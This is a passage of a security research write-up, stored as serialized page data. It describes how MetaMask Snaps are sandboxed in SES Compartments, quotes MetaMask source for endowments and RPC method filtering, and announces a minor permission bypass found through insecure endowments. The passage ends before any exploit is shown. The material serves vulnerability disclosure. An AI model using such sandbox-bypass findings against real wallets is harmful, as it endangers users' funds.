Compartment.",{"type":22,"tag":20197,"props":38917,"children":38919},{"id":38918},"setting-up-snaps-execution-env",[38920],{"type":27,"value":38921},"Setting up Snaps Execution Env",{"type":22,"tag":23,"props":38923,"children":38924},{},[38925],{"type":27,"value":38926},"When starting a snap, the setup follows these steps:",{"type":22,"tag":1867,"props":38928,"children":38929},{},[38930],{"type":22,"tag":1871,"props":38931,"children":38932},{},[38933],{"type":22,"tag":242,"props":38934,"children":38935},{},[38936,38938],{"type":27,"value":38937},"Create endowments based on snap ",{"type":22,"tag":69,"props":38939,"children":38942},{"href":38940,"rel":38941},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[73],[38943],{"type":27,"value":38944},"permissions",{"type":22,"tag":618,"props":38946,"children":38948},{"className":36928,"code":38947,"language":36930,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[38949],{"type":22,"tag":257,"props":38950,"children":38951},{"__ignoreMap":7},[38952,39002,39014,39025,39037,39049],{"type":22,"tag":264,"props":38953,"children":38954},{"class":1534,"line":1535},[38955,38959,38963,38967,38971,38976,38980,38985,38989,38993,38998],{"type":22,"tag":264,"props":38956,"children":38957},{"style":4293},[38958],{"type":27,"value":10953},{"type":22,"tag":264,"props":38960,"children":38961},{"style":1539},[38962],{"type":27,"value":10884},{"type":22,"tag":264,"props":38964,"children":38965},{"style":1549},[38966],{"type":27,"value":38881},{"type":22,"tag":264,"props":38968,"children":38969},{"style":1539},[38970],{"type":27,"value":4380},{"type":22,"tag":264,"props":38972,"children":38973},{"style":1549},[38974],{"type":27,"value":38975},"teardown",{"type":22,"tag":264,"props":38977,"children":38978},{"style":1539},[38979],{"type":27,"value":1594},{"type":22,"tag":264,"props":38981,"children":38982},{"style":1549},[38983],{"type":27,"value":38984},"endowmentTeardown",{"type":22,"tag":264,"props":38986,"children":38987},{"style":1539},[38988],{"type":27,"value":37517},{"type":22,"tag":264,"props":38990,"children":38991},{"style":4309},[38992],{"type":27,"value":429},{"type":22,"tag":264,"props":38994,"children":38995},{"style":4401},[38996],{"type":27,"value":38997}," createEndowments",{"type":22,"tag":264,"props":38999,"children":39000},{"style":1539},[39001],{"type":27,"value":4767},{"type":22,"tag":264,"props":39003,"children":39004},{"class":1534,"line":1545},[39005,39010],{"type":22,"tag":264,"props":39006,"children":39007},{"style":1549},[39008],{"type":27,"value":39009},"    snap",{"type":22,"tag":264,"props":39011,"children":39012},{"style":1539},[39013],{"type":27,"value":4812},{"type":22,"tag":264,"props":39015,"children":39016},{"class":1534,"line":1560},[39017,39021],{"type":22,"tag":264,"props":39018,"children":39019},{"style":1549},[39020],{"type":27,"value":32799},{"type":22,"tag":264,"props":39022,"children":39023},{"style":1539},[39024],{"type":27,"value":4812},{"type":22,"tag":264,"props":39026,"children":39027},{"class":1534,"line":1569},[39028,39033],{"type":22,"tag":264,"props":39029,"children":39030},{"style":1549},[39031],{"type":27,"value":39032},"    snapId",{"type":22,"tag":264,"props":39034,"children":39035},{"style":1539},[39036],{"type":27,"value":4812},{"type":22,"tag":264,"props":39038,"children":39039},{"class":1534,"line":1583},[39040,39045],{"type":22,"tag":264,"props":39041,"children":39042},{"style":1549},[39043],{"type":27,"value":39044},"    _endowments",{"type":22,"tag":264,"props":39046,"children":39047},{"style":1539},[39048],{"type":27,"value":4812},{"type":22,"tag":264,"props":39050,"children":39051},{"class":1534,"line":1603},[39052],{"type":22,"tag":264,"props":39053,"children":39054},{"style":1539},[39055],{"type":27,"value":5142},{"type":22,"tag":23,"props":39057,"children":39058},{},[39059],{"type":27,"value":39060},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":22,"tag":23,"props":39062,"children":39063},{},[39064,39066,39072,39074,39080],{"type":27,"value":39065},"One clear example is the ",{"type":22,"tag":257,"props":39067,"children":39069},{"className":39068},[],[39070],{"type":27,"value":39071},"endowment:network-access",{"type":27,"value":39073}," permission, that adds the ",{"type":22,"tag":257,"props":39075,"children":39077},{"className":39076},[],[39078],{"type":27,"value":39079},"fetch()",{"type":27,"value":39081}," function to the endowments.",{"type":22,"tag":23,"props":39083,"children":39084},{},[39085,39087,39093],{"type":27,"value":39086},"All endowments are protected with the ",{"type":22,"tag":257,"props":39088,"children":39090},{"className":39089},[],[39091],{"type":27,"value":39092},"harden",{"type":27,"value":39094}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":22,"tag":1867,"props":39096,"children":39097},{"start":1545},[39098],{"type":22,"tag":1871,"props":39099,"children":39100},{},[39101],{"type":22,"tag":242,"props":39102,"children":39103},{},[39104,39106],{"type":27,"value":39105},"Create the snap ",{"type":22,"tag":69,"props":39107,"children":39110},{"href":39108,"rel":39109},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[73],[39111],{"type":27,"value":38717},{"type":22,"tag":618,"props":39113,"children":39115},{"className":36928,"code":39114,"language":36930,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[39116],{"type":22,"tag":257,"props":39117,"children":39118},{"__ignoreMap":7},[39119,39147,39163,39180,39205],{"type":22,"tag":264,"props":39120,"children":39121},{"class":1534,"line":1535},[39122,39126,39131,39135,39139,39143],{"type":22,"tag":264,"props":39123,"children":39124},{"style":4293},[39125],{"type":27,"value":10953},{"type":22,"tag":264,"props":39127,"children":39128},{"style":1549},[39129],{"type":27,"value":39130}," compartment",{"type":22,"tag":264,"props":39132,"children":39133},{"style":4309},[39134],{"type":27,"value":4312},{"type":22,"tag":264,"props":39136,"children":39137},{"style":4293},[39138],{"type":27,"value":33248},{"type":22,"tag":264,"props":39140,"children":39141},{"style":4401},[39142],{"type":27,"value":38772},{"type":22,"tag":264,"props":39144,"children":39145},{"style":1539},[39146],{"type":27,"value":16440},{"type":22,"tag":264,"props":39148,"children":39149},{"class":1534,"line":1545},[39150,39155,39159],{"type":22,"tag":264,"props":39151,"children":39152},{"style":4309},[39153],{"type":27,"value":39154},"    ...",{"type":22,"tag":264,"props":39156,"children":39157},{"style":1549},[39158],{"type":27,"value":38881},{"type":22,"tag":264,"props":39160,"children":39161},{"style":1539},[39162],{"type":27,"value":4812},{"type":22,"tag":264,"props":39164,"children":39165},{"class":1534,"line":1560},[39166,39171,39176],{"type":22,"tag":264,"props":39167,"children":39168},{"style":1549},[39169],{"type":27,"value":39170},"    module:",{"type":22,"tag":264,"props":39172,"children":39173},{"style":1549},[39174],{"type":27,"value":39175}," snapModule",{"type":22,"tag":264,"props":39177,"children":39178},{"style":1539},[39179],{"type":27,"value":4812},{"type":22,"tag":264,"props":39181,"children":39182},{"class":1534,"line":1569},[39183,39188,39192,39196,39201],{"type":22,"tag":264,"props":39184,"children":39185},{"style":1549},[39186],{"type":27,"value":39187},"    exports:",{"type":22,"tag":264,"props":39189,"children":39190},{"style":1549},[39191],{"type":27,"value":39175},{"type":22,"tag":264,"props":39193,"children":39194},{"style":1539},[39195],{"type":27,"value":210},{"type":22,"tag":264,"props":39197,"children":39198},{"style":1549},[39199],{"type":27,"value":39200},"exports",{"type":22,"tag":264,"props":39202,"children":39203},{"style":1539},[39204],{"type":27,"value":4812},{"type":22,"tag":264,"props":39206,"children":39207},{"class":1534,"line":1583},[39208],{"type":22,"tag":264,"props":39209,"children":39210},{"style":1539},[39211],{"type":27,"value":36652},{"type":22,"tag":23,"props":39213,"children":39214},{},[39215,39217,39223,39224,39229,39231,39236],{"type":27,"value":39216},"Note: ",{"type":22,"tag":257,"props":39218,"children":39220},{"className":39219},[],[39221],{"type":27,"value":39222},"module",{"type":27,"value":12290},{"type":22,"tag":257,"props":39225,"children":39227},{"className":39226},[],[39228],{"type":27,"value":39200},{"type":27,"value":39230}," are passed as endowments, but without being ",{"type":22,"tag":1699,"props":39232,"children":39233},{},[39234],{"type":27,"value":39235},"hardened",{"type":27,"value":39237},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":22,"tag":1867,"props":39239,"children":39240},{"start":1560},[39241],{"type":22,"tag":1871,"props":39242,"children":39243},{},[39244],{"type":22,"tag":242,"props":39245,"children":39246},{},[39247,39249],{"type":27,"value":39248},"Evaluate the snap code inside the ",{"type":22,"tag":69,"props":39250,"children":39253},{"href":39251,"rel":39252},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[73],[39254],{"type":27,"value":38717},{"type":22,"tag":618,"props":39256,"children":39258},{"className":36928,"code":39257,"language":36930,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[39259],{"type":22,"tag":257,"props":39260,"children":39261},{"__ignoreMap":7},[39262,39303,39333,39370],{"type":22,"tag":264,"props":39263,"children":39264},{"class":1534,"line":1535},[39265,39269,39273,39277,39282,39286,39290,39295,39299],{"type":22,"tag":264,"props":39266,"children":39267},{"style":4328},[39268],{"type":27,"value":34232},{"type":22,"tag":264,"props":39270,"children":39271},{"style":4293},[39272],{"type":27,"value":37031},{"type":22,"tag":264,"props":39274,"children":39275},{"style":1539},[39276],{"type":27,"value":210},{"type":22,"tag":264,"props":39278,"children":39279},{"style":4401},[39280],{"type":27,"value":39281},"executeInSnapContext",{"type":22,"tag":264,"props":39283,"children":39284},{"style":1539},[39285],{"type":27,"value":2660},{"type":22,"tag":264,"props":39287,"children":39288},{"style":1549},[39289],{"type":27,"value":37335},{"type":22,"tag":264,"props":39291,"children":39292},{"style":1539},[39293],{"type":27,"value":39294},", () ",{"type":22,"tag":264,"props":39296,"children":39297},{"style":4293},[39298],{"type":27,"value":16121},{"type":22,"tag":264,"props":39300,"children":39301},{"style":1539},[39302],{"type":27,"value":4594},{"type":22,"tag":264,"props":39304,"children":39305},{"class":1534,"line":1545},[39306,39311,39315,39320,39324,39329],{"type":22,"tag":264,"props":39307,"children":39308},{"style":1549},[39309],{"type":27,"value":39310},"    compartment",{"type":22,"tag":264,"props":39312,"children":39313},{"style":1539},[39314],{"type":27,"value":210},{"type":22,"tag":264,"props":39316,"children":39317},{"style":4401},[39318],{"type":27,"value":39319},"evaluate",{"type":22,"tag":264,"props":39321,"children":39322},{"style":1539},[39323],{"type":27,"value":2660},{"type":22,"tag":264,"props":39325,"children":39326},{"style":1549},[39327],{"type":27,"value":39328},"sourceCode",{"type":22,"tag":264,"props":39330,"children":39331},{"style":1539},[39332],{"type":27,"value":5142},{"type":22,"tag":264,"props":39334,"children":39335},{"class":1534,"line":1560},[39336,39340,39344,39349,39353,39357,39361,39366],{"type":22,"tag":264,"props":39337,"children":39338},{"style":4293},[39339],{"type":27,"value":37379},{"type":22,"tag":264,"props":39341,"children":39342},{"style":1539},[39343],{"type":27,"value":210},{"type":22,"tag":264,"props":39345,"children":39346},{"style":4401},[39347],{"type":27,"value":39348},"registerSnapExports",{"type":22,"tag":264,"props":39350,"children":39351},{"style":1539},[39352],{"type":27,"value":2660},{"type":22,"tag":264,"props":39354,"children":39355},{"style":1549},[39356],{"type":27,"value":37335},{"type":22,"tag":264,"props":39358,"children":39359},{"style":1539},[39360],{"type":27,"value":4380},{"type":22,"tag":264,"props":39362,"children":39363},{"style":1549},[39364],{"type":27,"value":39365},"snapModule",{"type":22,"tag":264,"props":39367,"children":39368},{"style":1539},[39369],{"type":27,"value":5142},{"type":22,"tag":264,"props":39371,"children":39372},{"class":1534,"line":1569},[39373],{"type":22,"tag":264,"props":39374,"children":39375},{"style":1539},[39376],{"type":27,"value":36652},{"type":22,"tag":23,"props":39378,"children":39379},{},[39380,39382,39388,39389,39395,39396,39402],{"type":27,"value":39381},"According to the documentation, the snap must contain one of the following function exports: ",{"type":22,"tag":257,"props":39383,"children":39385},{"className":39384},[],[39386],{"type":27,"value":39387},"onRpcRequest",{"type":27,"value":4380},{"type":22,"tag":257,"props":39390,"children":39392},{"className":39391},[],[39393],{"type":27,"value":39394},"onTransaction",{"type":27,"value":14432},{"type":22,"tag":257,"props":39397,"children":39399},{"className":39398},[],[39400],{"type":27,"value":39401},"onCronjob",{"type":27,"value":210},{"type":22,"tag":23,"props":39404,"children":39405},{},[39406,39408,39413],{"type":27,"value":39407},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":22,"tag":257,"props":39409,"children":39411},{"className":39410},[],[39412],{"type":27,"value":38731},{"type":27,"value":39414}," environment of that Compartment.",{"type":22,"tag":23,"props":39416,"children":39417},{},[39418],{"type":27,"value":39419},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":22,"tag":169,"props":39421,"children":39423},{"id":39422},"vulnerability-research",[39424],{"type":27,"value":39425},"Vulnerability research",{"type":22,"tag":181,"props":39427,"children":39429},{"id":39428},"possible-attacks",[39430],{"type":27,"value":39431},"Possible attacks",{"type":22,"tag":23,"props":39433,"children":39434},{},[39435],{"type":27,"value":39436},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":22,"tag":17988,"props":39438,"children":39439},{},[39440,39445,39450,39455],{"type":22,"tag":1871,"props":39441,"children":39442},{},[39443],{"type":27,"value":39444},"Broken SES Container isolation",{"type":22,"tag":1871,"props":39446,"children":39447},{},[39448],{"type":27,"value":39449},"Insecure endowments in Containers",{"type":22,"tag":1871,"props":39451,"children":39452},{},[39453],{"type":27,"value":39454},"Incorrect RPC permission checks",{"type":22,"tag":1871,"props":39456,"children":39457},{},[39458],{"type":27,"value":39459},"Insecure snap installation/update",{"type":22,"tag":23,"props":39461,"children":39462},{},[39463],{"type":27,"value":39464},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":22,"tag":23,"props":39466,"children":39467},{},[39468],{"type":27,"value":39469},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":22,"tag":181,"props":39471,"children":39473},{"id":39472},"rpc-interfaces-endowments",[39474],{"type":27,"value":39475},"RPC interfaces endowments",{"type":22,"tag":20197,"props":39477,"children":39479},{"id":39478},"providers-limitations",[39480],{"type":27,"value":39481},"Providers limitations",{"type":22,"tag":23,"props":39483,"children":39484},{},[39485,39487,39493,39494,39499,39501,39508],{"type":27,"value":39486},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":22,"tag":257,"props":39488,"children":39490},{"className":39489},[],[39491],{"type":27,"value":39492},"snap",{"type":27,"value":12290},{"type":22,"tag":257,"props":39495,"children":39497},{"className":39496},[],[39498],{"type":27,"value":32732},{"type":27,"value":39500}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":22,"tag":69,"props":39502,"children":39505},{"href":39503,"rel":39504},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[73],[39506],{"type":27,"value":39507},"methods",{"type":27,"value":5785},{"type":22,"tag":618,"props":39510,"children":39512},{"className":36928,"code":39511,"language":36930,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[39513],{"type":22,"tag":257,"props":39514,"children":39515},{"__ignoreMap":7},[39516,39556,39564,39576,39646,39707,39719,39727,39738,39778,39808,39820,39845,39852,39860,39867,39905],{"type":22,"tag":264,"props":39517,"children":39518},{"class":1534,"line":1535},[39519,39524,39529,39534,39538,39543,39547,39552],{"type":22,"tag":264,"props":39520,"children":39521},{"style":4328},[39522],{"type":27,"value":39523},"export",{"type":22,"tag":264,"props":39525,"children":39526},{"style":4293},[39527],{"type":27,"value":39528}," function",{"type":22,"tag":264,"props":39530,"children":39531},{"style":4401},[39532],{"type":27,"value":39533}," assertSnapOutboundRequest",{"type":22,"tag":264,"props":39535,"children":39536},{"style":1539},[39537],{"type":27,"value":2660},{"type":22,"tag":264,"props":39539,"children":39540},{"style":1549},[39541],{"type":27,"value":39542},"args",{"type":22,"tag":264,"props":39544,"children":39545},{"style":4309},[39546],{"type":27,"value":5785},{"type":22,"tag":264,"props":39548,"children":39549},{"style":4722},[39550],{"type":27,"value":39551}," RequestArguments",{"type":22,"tag":264,"props":39553,"children":39554},{"style":1539},[39555],{"type":27,"value":16103},{"type":22,"tag":264,"props":39557,"children":39558},{"class":1534,"line":1545},[39559],{"type":22,"tag":264,"props":39560,"children":39561},{"style":4284},[39562],{"type":27,"value":39563},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":22,"tag":264,"props":39565,"children":39566},{"class":1534,"line":1560},[39567,39572],{"type":22,"tag":264,"props":39568,"children":39569},{"style":4401},[39570],{"type":27,"value":39571},"  assert",{"type":22,"tag":264,"props":39573,"children":39574},{"style":1539},[39575],{"type":27,"value":4767},{"type":22,"tag":264,"props":39577,"children":39578},{"class":1534,"line":1569},[39579,39584,39588,39593,39597,39602,39606,39611,39615,39619,39623,39628,39632,39637,39641],{"type":22,"tag":264,"props":39580,"children":39581},{"style":4722},[39582],{"type":27,"value":39583},"    String",{"type":22,"tag":264,"props":39585,"children":39586},{"style":1539},[39587],{"type":27,"value":210},{"type":22,"tag":264,"props":39589,"children":39590},{"style":1549},[39591],{"type":27,"value":39592},"prototype",{"type":22,"tag":264,"props":39594,"children":39595},{"style":1539},[39596],{"type":27,"value":210},{"type":22,"tag":264,"props":39598,"children":39599},{"style":1549},[39600],{"type":27,"value":39601},"startsWith",{"type":22,"tag":264,"props":39603,"children":39604},{"style":1539},[39605],{"type":27,"value":210},{"type":22,"tag":264,"props":39607,"children":39608},{"style":4401},[39609],{"type":27,"value":39610},"call",{"type":22,"tag":264,"props":39612,"children":39613},{"style":1539},[39614],{"type":27,"value":2660},{"type":22,"tag":264,"props":39616,"children":39617},{"style":1549},[39618],{"type":27,"value":39542},{"type":22,"tag":264,"props":39620,"children":39621},{"style":1539},[39622],{"type":27,"value":210},{"type":22,"tag":264,"props":39624,"children":39625},{"style":1549},[39626],{"type":27,"value":39627},"method",{"type":22,"tag":264,"props":39629,"children":39630},{"style":1539},[39631],{"type":27,"value":4380},{"type":22,"tag":264,"props":39633,"children":39634},{"style":1597},[39635],{"type":27,"value":39636},"'wallet_'",{"type":22,"tag":264,"props":39638,"children":39639},{"style":1539},[39640],{"type":27,"value":4390},{"type":22,"tag":264,"props":39642,"children":39643},{"style":4309},[39644],{"type":27,"value":39645},"||\n",{"type":22,"tag":264,"props":39647,"children":39648},{"class":1534,"line":1583},[39649,39654,39658,39662,39666,39670,39674,39678,39682,39686,39690,39694,39698,39703],{"type":22,"tag":264,"props":39650,"children":39651},{"style":4722},[39652],{"type":27,"value":39653},"      String",{"type":22,"tag":264,"props":39655,"children":39656},{"style":1539},[39657],{"type":27,"value":210},{"type":22,"tag":264,"props":39659,"children":39660},{"style":1549},[39661],{"type":27,"value":39592},{"type":22,"tag":264,"props":39663,"children":39664},{"style":1539},[39665],{"type":27,"value":210},{"type":22,"tag":264,"props":39667,"children":39668},{"style":1549},[39669],{"type":27,"value":39601},{"type":22,"tag":264,"props":39671,"children":39672},{"style":1539},[39673],{"type":27,"value":210},{"type":22,"tag":264,"props":39675,"children":39676},{"style":4401},[39677],{"type":27,"value":39610},{"type":22,"tag":264,"props":39679,"children":39680},{"style":1539},[39681],{"type":27,"value":2660},{"type":22,"tag":264,"props":39683,"children":39684},{"style":1549},[39685],{"type":27,"value":39542},{"type":22,"tag":264,"props":39687,"children":39688},{"style":1539},[39689],{"type":27,"value":210},{"type":22,"tag":264,"props":39691,"children":39692},{"style":1549},[39693],{"type":27,"value":39627},{"type":22,"tag":264,"props":39695,"children":39696},{"style":1539},[39697],{"type":27,"value":4380},{"type":22,"tag":264,"props":39699,"children":39700},{"style":1597},[39701],{"type":27,"value":39702},"'snap_'",{"type":22,"tag":264,"props":39704,"children":39705},{"style":1539},[39706],{"type":27,"value":8029},{"type":22,"tag":264,"props":39708,"children":39709},{"class":1534,"line":1603},[39710,39715],{"type":22,"tag":264,"props":39711,"children":39712},{"style":1597},[39713],{"type":27,"value":39714},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":22,"tag":264,"props":39716,"children":39717},{"style":1539},[39718],{"type":27,"value":4812},{"type":22,"tag":264,"props":39720,"children":39721},{"class":1534,"line":1612},[39722],{"type":22,"tag":264,"props":39723,"children":39724},{"style":1539},[39725],{"type":27,"value":39726},"  );\n",{"type":22,"tag":264,"props":39728,"children":39729},{"class":1534,"line":1621},[39730,39734],{"type":22,"tag":264,"props":39731,"children":39732},{"style":4401},[39733],{"type":27,"value":39571},{"type":22,"tag":264,"props":39735,"children":39736},{"style":1539},[39737],{"type":27,"value":4767},{"type":22,"tag":264,"props":39739,"children":39740},{"class":1534,"line":1629},[39741,39745,39750,39754,39758,39762,39766,39770,39774],{"type":22,"tag":264,"props":39742,"children":39743},{"style":4309},[39744],{"type":27,"value":22277},{"type":22,"tag":264,"props":39746,"children":39747},{"style":1549},[39748],{"type":27,"value":39749},"BLOCKED_RPC_METHODS",{"type":22,"tag":264,"props":39751,"children":39752},{"style":1539},[39753],{"type":27,"value":210},{"type":22,"tag":264,"props":39755,"children":39756},{"style":4401},[39757],{"type":27,"value":36495},{"type":22,"tag":264,"props":39759,"children":39760},{"style":1539},[39761],{"type":27,"value":2660},{"type":22,"tag":264,"props":39763,"children":39764},{"style":1549},[39765],{"type":27,"value":39542},{"type":22,"tag":264,"props":39767,"children":39768},{"style":1539},[39769],{"type":27,"value":210},{"type":22,"tag":264,"props":39771,"children":39772},{"style":1549},[39773],{"type":27,"value":39627},{"type":22,"tag":264,"props":39775,"children":39776},{"style":1539},[39777],{"type":27,"value":8029},{"type":22,"tag":264,"props":39779,"children":39780},{"class":1534,"line":1642},[39781,39786,39790,39795,39799,39804],{"type":22,"tag":264,"props":39782,"children":39783},{"style":1549},[39784],{"type":27,"value":39785},"    ethErrors",{"type":22,"tag":264,"props":39787,"children":39788},{"style":1539},[39789],{"type":27,"value":210},{"type":22,"tag":264,"props":39791,"children":39792},{"style":1549},[39793],{"type":27,"value":39794},"rpc",{"type":22,"tag":264,"props":39796,"children":39797},{"style":1539},[39798],{"type":27,"value":210},{"type":22,"tag":264,"props":39800,"children":39801},{"style":4401},[39802],{"type":27,"value":39803},"methodNotFound",{"type":22,"tag":264,"props":39805,"children":39806},{"style":1539},[39807],{"type":27,"value":16440},{"type":22,"tag":264,"props":39809,"children":39810},{"class":1534,"line":1660},[39811,39816],{"type":22,"tag":264,"props":39812,"children":39813},{"style":1549},[39814],{"type":27,"value":39815},"      data:",{"type":22,"tag":264,"props":39817,"children":39818},{"style":1539},[39819],{"type":27,"value":4594},{"type":22,"tag":264,"props":39821,"children":39822},{"class":1534,"line":1668},[39823,39828,39833,39837,39841],{"type":22,"tag":264,"props":39824,"children":39825},{"style":1549},[39826],{"type":27,"value":39827},"        method:",{"type":22,"tag":264,"props":39829,"children":39830},{"style":1549},[39831],{"type":27,"value":39832}," args",{"type":22,"tag":264,"props":39834,"children":39835},{"style":1539},[39836],{"type":27,"value":210},{"type":22,"tag":264,"props":39838,"children":39839},{"style":1549},[39840],{"type":27,"value":39627},{"type":22,"tag":264,"props":39842,"children":39843},{"style":1539},[39844],{"type":27,"value":4812},{"type":22,"tag":264,"props":39846,"children":39847},{"class":1534,"line":1677},[39848],{"type":22,"tag":264,"props":39849,"children":39850},{"style":1539},[39851],{"type":27,"value":38513},{"type":22,"tag":264,"props":39853,"children":39854},{"class":1534,"line":1686},[39855],{"type":22,"tag":264,"props":39856,"children":39857},{"style":1539},[39858],{"type":27,"value":39859},"    }),\n",{"type":22,"tag":264,"props":39861,"children":39862},{"class":1534,"line":4948},[39863],{"type":22,"tag":264,"props":39864,"children":39865},{"style":1539},[39866],{"type":27,"value":39726},{"type":22,"tag":264,"props":39868,"children":39869},{"class":1534,"line":4957},[39870,39875,39879,39883,39887,39892,39896,39901],{"type":22,"tag":264,"props":39871,"children":39872},{"style":4401},[39873],{"type":27,"value":39874},"  assertStruct",{"type":22,"tag":264,"props":39876,"children":39877},{"style":1539},[39878],{"type":27,"value":2660},{"type":22,"tag":264,"props":39880,"children":39881},{"style":1549},[39882],{"type":27,"value":39542},{"type":22,"tag":264,"props":39884,"children":39885},{"style":1539},[39886],{"type":27,"value":4380},{"type":22,"tag":264,"props":39888,"children":39889},{"style":1549},[39890],{"type":27,"value":39891},"JsonStruct",{"type":22,"tag":264,"props":39893,"children":39894},{"style":1539},[39895],{"type":27,"value":4380},{"type":22,"tag":264,"props":39897,"children":39898},{"style":1597},[39899],{"type":27,"value":39900},"'Provided value is not JSON-RPC compatible'",{"type":22,"tag":264,"props":39902,"children":39903},{"style":1539},[39904],{"type":27,"value":5142},{"type":22,"tag":264,"props":39906,"children":39907},{"class":1534,"line":4980},[39908],{"type":22,"tag":264,"props":39909,"children":39910},{"style":1539},[39911],{"type":27,"value":1692},{"type":22,"tag":23,"props":39913,"children":39914},{},[39915,39917,39922,39924,39930,39931,39937],{"type":27,"value":39916},"This function is called by the ",{"type":22,"tag":257,"props":39918,"children":39920},{"className":39919},[],[39921],{"type":27,"value":39492},{"type":27,"value":39923}," RPC provider, so it can only send methods starting with ",{"type":22,"tag":257,"props":39925,"children":39927},{"className":39926},[],[39928],{"type":27,"value":39929},"wallet_",{"type":27,"value":14432},{"type":22,"tag":257,"props":39932,"children":39934},{"className":39933},[],[39935],{"type":27,"value":39936},"snap_",{"type":27,"value":39938},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":22,"tag":23,"props":39940,"children":39941},{},[39942,39944,39949,39951,39956,39958,39964],{"type":27,"value":39943},"On the other hand, the ",{"type":22,"tag":257,"props":39945,"children":39947},{"className":39946},[],[39948],{"type":27,"value":32732},{"type":27,"value":39950}," provider only blocks methods starting with ",{"type":22,"tag":257,"props":39952,"children":39954},{"className":39953},[],[39955],{"type":27,"value":39936},{"type":27,"value":39957}," and the blocked methods. However, it requires the ",{"type":22,"tag":257,"props":39959,"children":39961},{"className":39960},[],[39962],{"type":27,"value":39963},"endowment:ethereum-provider",{"type":27,"value":39965}," permission in the snap manifest.",{"type":22,"tag":20197,"props":39967,"children":39969},{"id":39968},"execution-flow",[39970],{"type":27,"value":39971},"Execution flow",{"type":22,"tag":23,"props":39973,"children":39974},{},[39975,39977,39982,39983,39988,39990,39995,39996,40002],{"type":27,"value":39976},"Both providers (",{"type":22,"tag":257,"props":39978,"children":39980},{"className":39979},[],[39981],{"type":27,"value":39492},{"type":27,"value":12290},{"type":22,"tag":257,"props":39984,"children":39986},{"className":39985},[],[39987],{"type":27,"value":32732},{"type":27,"value":39989},") are built outside the SES container with a ",{"type":22,"tag":257,"props":39991,"children":39993},{"className":39992},[],[39994],{"type":27,"value":32808},{"type":27,"value":7750},{"type":22,"tag":69,"props":39997,"children":40000},{"href":39998,"rel":39999},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[73],[40001],{"type":27,"value":32692},{"type":27,"value":5785},{"type":22,"tag":618,"props":40004,"children":40006},{"className":37245,"code":40005,"language":37247,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[40007],{"type":22,"tag":257,"props":40008,"children":40009},{"__ignoreMap":7},[40010,40057,40082,40115,40150,40162,40182,40220,40240,40247,40264,40297,40304],{"type":22,"tag":264,"props":40011,"children":40012},{"class":1534,"line":1535},[40013,40017,40021,40025,40029,40033,40037,40041,40045,40049,40053],{"type":22,"tag":264,"props":40014,"children":40015},{"style":4293},[40016],{"type":27,"value":37503},{"type":22,"tag":264,"props":40018,"children":40019},{"style":4401},[40020],{"type":27,"value":32697},{"type":22,"tag":264,"props":40022,"children":40023},{"style":4309},[40024],{"type":27,"value":4312},{"type":22,"tag":264,"props":40026,"children":40027},{"style":4293},[40028],{"type":27,"value":37680},{"type":22,"tag":264,"props":40030,"children":40031},{"style":1539},[40032],{"type":27,"value":4370},{"type":22,"tag":264,"props":40034,"children":40035},{"style":1549},[40036],{"type":27,"value":39542},{"type":22,"tag":264,"props":40038,"children":40039},{"style":4309},[40040],{"type":27,"value":5785},{"type":22,"tag":264,"props":40042,"children":40043},{"style":4722},[40044],{"type":27,"value":39551},{"type":22,"tag":264,"props":40046,"children":40047},{"style":1539},[40048],{"type":27,"value":4390},{"type":22,"tag":264,"props":40050,"children":40051},{"style":4293},[40052],{"type":27,"value":16121},{"type":22,"tag":264,"props":40054,"children":40055},{"style":1539},[40056],{"type":27,"value":4594},{"type":22,"tag":264,"props":40058,"children":40059},{"class":1534,"line":1545},[40060,40065,40069,40073,40077],{"type":22,"tag":264,"props":40061,"children":40062},{"style":4401},[